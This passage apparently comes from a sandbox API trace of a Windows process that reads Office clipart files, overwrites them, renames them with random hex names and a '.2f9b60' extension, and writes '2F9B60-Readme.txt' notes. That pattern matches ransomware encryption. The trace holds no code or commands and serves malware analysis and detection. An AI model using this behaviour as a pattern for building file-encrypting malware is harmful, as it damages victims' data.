Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x4f6a01a5 [0116.517] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x73e92d24 [0116.517] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x45a5541c [0116.517] RtlRandomEx (in: Seed=0x3a62f6d0 | out: Seed=0x3a62f6d0) returned 0x6a8be21e [0116.528] ReadFile (in: hFile=0x1694, lpBuffer=0x41b9b4e0, nNumberOfBytesToRead=0x2026, lpNumberOfBytesRead=0x3a62f6d0, lpOverlapped=0x0 | out: lpBuffer=0x41b9b4e0*, lpNumberOfBytesRead=0x3a62f6d0*=0x2026, lpOverlapped=0x0) returned 1 [0116.559] SetFilePointerEx (in: hFile=0x1694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.560] WriteFile (in: hFile=0x1694, lpBuffer=0x41b9f0f0*, nNumberOfBytesToWrite=0x2026, lpNumberOfBytesWritten=0x3a62f6d4, lpOverlapped=0x0 | out: lpBuffer=0x41b9f0f0*, lpNumberOfBytesWritten=0x3a62f6d4*=0x2026, lpOverlapped=0x0) returned 1 [0116.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f60 [0116.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261610 [0116.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261610) returned 1 [0116.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b9f0f0) returned 1 [0116.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b9b4e0) returned 1 [0116.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0116.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0116.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20261610 [0116.611] SetFilePointerEx (in: hFile=0x1694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0116.611] WriteFile (in: hFile=0x1694, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3a62f7f0, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x3a62f7f0*=0x10a, lpOverlapped=0x0) returned 1 [0116.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c170 [0116.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0116.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e90 [0116.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260e90) returned 1 [0116.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0116.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e90 [0116.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625d0 [0116.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202625d0) returned 1 [0116.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0116.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c170) returned 1 [0116.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8340 [0116.630] sprintf (in: _Dest=0x1b7d8340, _Format="%c%c" | out: _Dest="8d") returned 2 [0116.630] sprintf (in: _Dest=0x1b7d8342, _Format="%c%c" | out: _Dest="4f") returned 2 [0116.630] sprintf (in: _Dest=0x1b7d8344, _Format="%c%c" | out: _Dest="b5") returned 2 [0116.630] sprintf (in: _Dest=0x1b7d8346, _Format="%c%c" | out: _Dest="d0") returned 2 [0116.630] sprintf (in: _Dest=0x1b7d8348, _Format="%c%c" | out: _Dest="fb") returned 2 [0116.630] sprintf (in: _Dest=0x1b7d834a, _Format="%c%c" | out: _Dest="f7") returned 2 [0116.630] sprintf (in: _Dest=0x1b7d834c, _Format="%c%c" | out: _Dest="12") returned 2 [0116.630] sprintf (in: _Dest=0x1b7d834e, _Format="%c%c" | out: _Dest="6b") returned 2 [0116.630] sprintf (in: _Dest=0x1b7d8350, _Format="%c%c" | out: _Dest="79") returned 2 [0116.630] sprintf (in: _Dest=0x1b7d8352, _Format="%c%c" | out: _Dest="3d") returned 2 [0116.630] sprintf (in: _Dest=0x1b7d8354, _Format="%c%c" | out: _Dest="39") returned 2 [0116.630] sprintf (in: _Dest=0x1b7d8356, _Format="%c%c" | out: _Dest="86") returned 2 [0116.630] sprintf (in: _Dest=0x1b7d8358, _Format="%c%c" | out: _Dest="ec") returned 2 [0116.630] sprintf (in: _Dest=0x1b7d835a, _Format="%c%c" | out: _Dest="52") returned 2 [0116.631] sprintf (in: _Dest=0x1b7d835c, _Format="%c%c" | out: _Dest="04") returned 2 [0116.631] sprintf (in: _Dest=0x1b7d835e, _Format="%c%c" | out: _Dest="98") returned 2 [0116.631] sprintf (in: _Dest=0x1b7d8360, _Format="%c%c" | out: _Dest="d1") returned 2 [0116.631] sprintf (in: _Dest=0x1b7d8362, _Format="%c%c" | out: _Dest="27") returned 2 [0116.631] sprintf (in: _Dest=0x1b7d8364, _Format="%c%c" | out: _Dest="b7") returned 2 [0116.631] sprintf (in: _Dest=0x1b7d8366, _Format="%c%c" | out: _Dest="6f") returned 2 [0116.631] sprintf (in: _Dest=0x1b7d8368, _Format="%c%c" | out: _Dest="68") returned 2 [0116.631] sprintf (in: _Dest=0x1b7d836a, _Format="%c%c" | out: _Dest="c4") returned 2 [0116.631] sprintf (in: _Dest=0x1b7d836c, _Format="%c%c" | out: _Dest="1f") returned 2 [0116.631] sprintf (in: _Dest=0x1b7d836e, _Format="%c%c" | out: _Dest="cc") returned 2 [0116.631] RtlInitAnsiString (in: DestinationString=0x3a62f868, SourceString="8d4fb5d0fbf7126b793d3986ec520498d127b76f68c41fcc" | out: DestinationString="8d4fb5d0fbf7126b793d3986ec520498d127b76f68c41fcc") [0116.631] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a62f838, SourceString="8d4fb5d0fbf7126b793d3986ec520498d127b76f68c41fcc", AllocateDestinationString=1 | out: DestinationString="8d4fb5d0fbf7126b793d3986ec520498d127b76f68c41fcc") returned 0x0 [0116.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8c90 [0116.631] wcscat (in: _Dest=0x2050bf80, _Source="8d4fb5d0fbf7" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\8d4fb5d0fbf7") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\8d4fb5d0fbf7" [0116.631] wcscat (in: _Dest=0x2050bf80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\8d4fb5d0fbf7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\8d4fb5d0fbf7.2f9b60" [0116.632] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\8d4fb5d0fbf7.2f9b60", NtPathName=0x3a62f810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\8d4fb5d0fbf7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0116.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118bc0 [0116.632] NtSetInformationFile (FileHandle=0x1694, IoStatusBlock=0x3a62f8b0, FileInformation=0x118bc0, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0116.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118bc0) returned 1 [0116.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf493f0) returned 1 [0116.654] NtQueryInformationFile (in: FileHandle=0x1694, IoStatusBlock=0x3a62f878, FileInformation=0x3a62f888, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3a62f878, FileInformation=0x3a62f888) returned 0x0 [0116.654] NtSetInformationFile (FileHandle=0x1694, IoStatusBlock=0x3a62f878, FileInformation=0x3a62f888, Length=0x28, FileInformationClass=0x4) returned 0x0 [0116.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bf80) returned 1 [0116.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8c90) returned 1 [0116.656] FlushFileBuffers (hFile=0x1694) returned 1 [0116.781] CloseHandle (hObject=0x1694) returned 1 [0116.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050cdf0 [0116.998] wcscpy (in: _Dest=0x2050cdf0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0116.998] wcscat (in: _Dest=0x2050cdf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0116.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0xffffffff [0117.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe60 [0117.565] WriteFile (in: hFile=0xe60, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3a62f730, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3a62f730*=0xba9, lpOverlapped=0x0) returned 1 [0117.566] CloseHandle (hObject=0xe60) returned 1 [0117.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cdf0) returned 1 [0117.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862930) returned 1 Thread: id = 1275 os_tid = 0xdd4 [0115.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00760l.gif")) returned 0x20 [0116.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF", dwFileAttributes=0x20) returned 1 [0116.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00760l.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe2c [0116.324] GetFileSizeEx (in: hFile=0xe2c, lpFileSize=0x3a77fc00 | out: lpFileSize=0x3a77fc00*=8979) returned 1 [0116.324] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0x230f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.324] ReadFile (in: hFile=0xe2c, lpBuffer=0x3a77fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a77fbc8, lpOverlapped=0x0 | out: lpBuffer=0x3a77fb80*, lpNumberOfBytesRead=0x3a77fbc8*=0x4, lpOverlapped=0x0) returned 1 [0116.532] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263680 [0116.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f20 [0116.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625d0 [0116.533] NtQuerySystemTime (in: CurrentTime=0x3a77fac0 | out: CurrentTime=0x3a77fac0*=132462177219994000) returned 0x0 [0116.533] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0x168f1b54 [0116.533] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0x655635bc [0116.533] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0x590a3301 [0116.533] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0x4bd80fe1 [0116.533] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0x119cd40d [0116.533] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0x487d1f94 [0116.533] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0x6778c750 [0116.533] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0xdc7ebd0 [0116.533] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0x512383a7 [0116.533] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0x7106775e [0116.533] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0x49b423 [0116.533] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0x160141f5 [0116.533] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0x5ff0387d [0116.533] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0x2556d385 [0116.533] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0x38ffcf66 [0116.533] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0x60783a6a [0116.533] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0x2ef6ebec [0116.533] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0xfa0d238 [0116.533] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0x32a36925 [0116.533] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0x24fc6063 [0116.533] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0x7ccae6a1 [0116.533] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0x6673ff1a [0116.533] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0x2971d341 [0116.533] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0x7c054fa7 [0116.533] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0x2788e34f [0116.533] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0x56799cfa [0116.533] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0x227c09c4 [0116.533] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0x6a8be21e [0116.534] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0x2293bb51 [0116.534] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0xd8b9b18 [0116.534] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0x5d480048 [0116.534] RtlRandomEx (in: Seed=0x3a77fab0 | out: Seed=0x3a77fab0) returned 0x4d0ce810 [0116.543] ReadFile (in: hFile=0xe2c, lpBuffer=0x41bb1d40, nNumberOfBytesToRead=0x2313, lpNumberOfBytesRead=0x3a77fab0, lpOverlapped=0x0 | out: lpBuffer=0x41bb1d40*, lpNumberOfBytesRead=0x3a77fab0*=0x2313, lpOverlapped=0x0) returned 1 [0116.590] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.590] WriteFile (in: hFile=0xe2c, lpBuffer=0x41bb5950*, nNumberOfBytesToWrite=0x2313, lpNumberOfBytesWritten=0x3a77fab4, lpOverlapped=0x0 | out: lpBuffer=0x41bb5950*, lpNumberOfBytesWritten=0x3a77fab4*=0x2313, lpOverlapped=0x0) returned 1 [0116.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622a0 [0116.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261fa0 [0116.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261fa0) returned 1 [0116.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bb5950) returned 1 [0116.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bb1d40) returned 1 [0116.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0116.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0116.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20261fa0 [0116.752] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0116.752] WriteFile (in: hFile=0xe2c, lpBuffer=0x168000*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3a77fbd0, lpOverlapped=0x0 | out: lpBuffer=0x168000*, lpNumberOfBytesWritten=0x3a77fbd0*=0x10a, lpOverlapped=0x0) returned 1 [0116.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0116.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868340 [0116.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260890 [0116.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260890) returned 1 [0116.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0116.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260890 [0116.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202608f0 [0116.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202608f0) returned 1 [0116.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0116.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0116.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d86c0 [0116.974] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="ad") returned 2 [0116.974] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="e1") returned 2 [0116.974] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="d7") returned 2 [0116.974] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="10") returned 2 [0116.974] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="f4") returned 2 [0116.974] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="78") returned 2 [0116.974] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="55") returned 2 [0116.974] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="88") returned 2 [0116.974] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="0b") returned 2 [0116.974] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="88") returned 2 [0116.974] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="8e") returned 2 [0116.974] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="29") returned 2 [0116.974] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="03") returned 2 [0116.975] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="d8") returned 2 [0116.975] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="d6") returned 2 [0116.975] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="52") returned 2 [0116.975] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="49") returned 2 [0116.975] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="d9") returned 2 [0116.975] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="16") returned 2 [0116.975] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="b4") returned 2 [0116.975] sprintf (in: _Dest=0x1b7d86e8, _Format="%c%c" | out: _Dest="d6") returned 2 [0116.975] sprintf (in: _Dest=0x1b7d86ea, _Format="%c%c" | out: _Dest="ad") returned 2 [0116.975] sprintf (in: _Dest=0x1b7d86ec, _Format="%c%c" | out: _Dest="e5") returned 2 [0116.975] sprintf (in: _Dest=0x1b7d86ee, _Format="%c%c" | out: _Dest="36") returned 2 [0116.975] RtlInitAnsiString (in: DestinationString=0x3a77fc48, SourceString="ade1d710f47855880b888e2903d8d65249d916b4d6ade536" | out: DestinationString="ade1d710f47855880b888e2903d8d65249d916b4d6ade536") [0116.975] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a77fc18, SourceString="ade1d710f47855880b888e2903d8d65249d916b4d6ade536", AllocateDestinationString=1 | out: DestinationString="ade1d710f47855880b888e2903d8d65249d916b4d6ade536") returned 0x0 [0116.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8f30 [0116.975] wcscat (in: _Dest=0x2050d370, _Source="ade1d710f478" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\ade1d710f478") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\ade1d710f478" [0116.975] wcscat (in: _Dest=0x2050d370, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\ade1d710f478.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\ade1d710f478.2f9b60" [0116.975] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\ade1d710f478.2f9b60", NtPathName=0x3a77fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\ade1d710f478.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0116.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118a20 [0116.975] NtSetInformationFile (FileHandle=0xe2c, IoStatusBlock=0x3a77fc90, FileInformation=0x118a20, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0117.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118a20) returned 1 [0117.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20293300) returned 1 [0117.568] NtQueryInformationFile (in: FileHandle=0xe2c, IoStatusBlock=0x3a77fc58, FileInformation=0x3a77fc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3a77fc58, FileInformation=0x3a77fc68) returned 0x0 [0117.568] NtSetInformationFile (FileHandle=0xe2c, IoStatusBlock=0x3a77fc58, FileInformation=0x3a77fc68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d370) returned 1 [0117.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8f30) returned 1 [0117.571] FlushFileBuffers (hFile=0xe2c) returned 1 [0117.574] CloseHandle (hObject=0xe2c) returned 1 [0117.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050b8a0 [0117.581] wcscpy (in: _Dest=0x2050b8a0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0117.581] wcscat (in: _Dest=0x2050b8a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0117.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0117.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b8a0) returned 1 [0117.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8629e0) returned 1 Thread: id = 1276 os_tid = 0xec4 [0115.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00780l.gif")) returned 0x20 [0116.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF", dwFileAttributes=0x20) returned 1 [0116.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00780l.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15cc [0116.139] GetFileSizeEx (in: hFile=0x15cc, lpFileSize=0x3a5afac0 | out: lpFileSize=0x3a5afac0*=8079) returned 1 [0116.139] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x1f8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.139] ReadFile (in: hFile=0x15cc, lpBuffer=0x3a5afa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a5afa88, lpOverlapped=0x0 | out: lpBuffer=0x3a5afa40*, lpNumberOfBytesRead=0x3a5afa88*=0x4, lpOverlapped=0x0) returned 1 [0116.201] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202608f0 [0116.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202623c0 [0116.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260890 [0116.201] NtQuerySystemTime (in: CurrentTime=0x3a5af980 | out: CurrentTime=0x3a5af980*=132462177216562000) returned 0x0 [0116.201] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0xbbf4ebc [0116.201] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x699cd7a1 [0116.201] RtlRandomEx (in: Seed=0x3a5af970 | out: Seed=0x3a5af970) returned 0x6cf36259 [0116.201] RtlRandomEx (in: 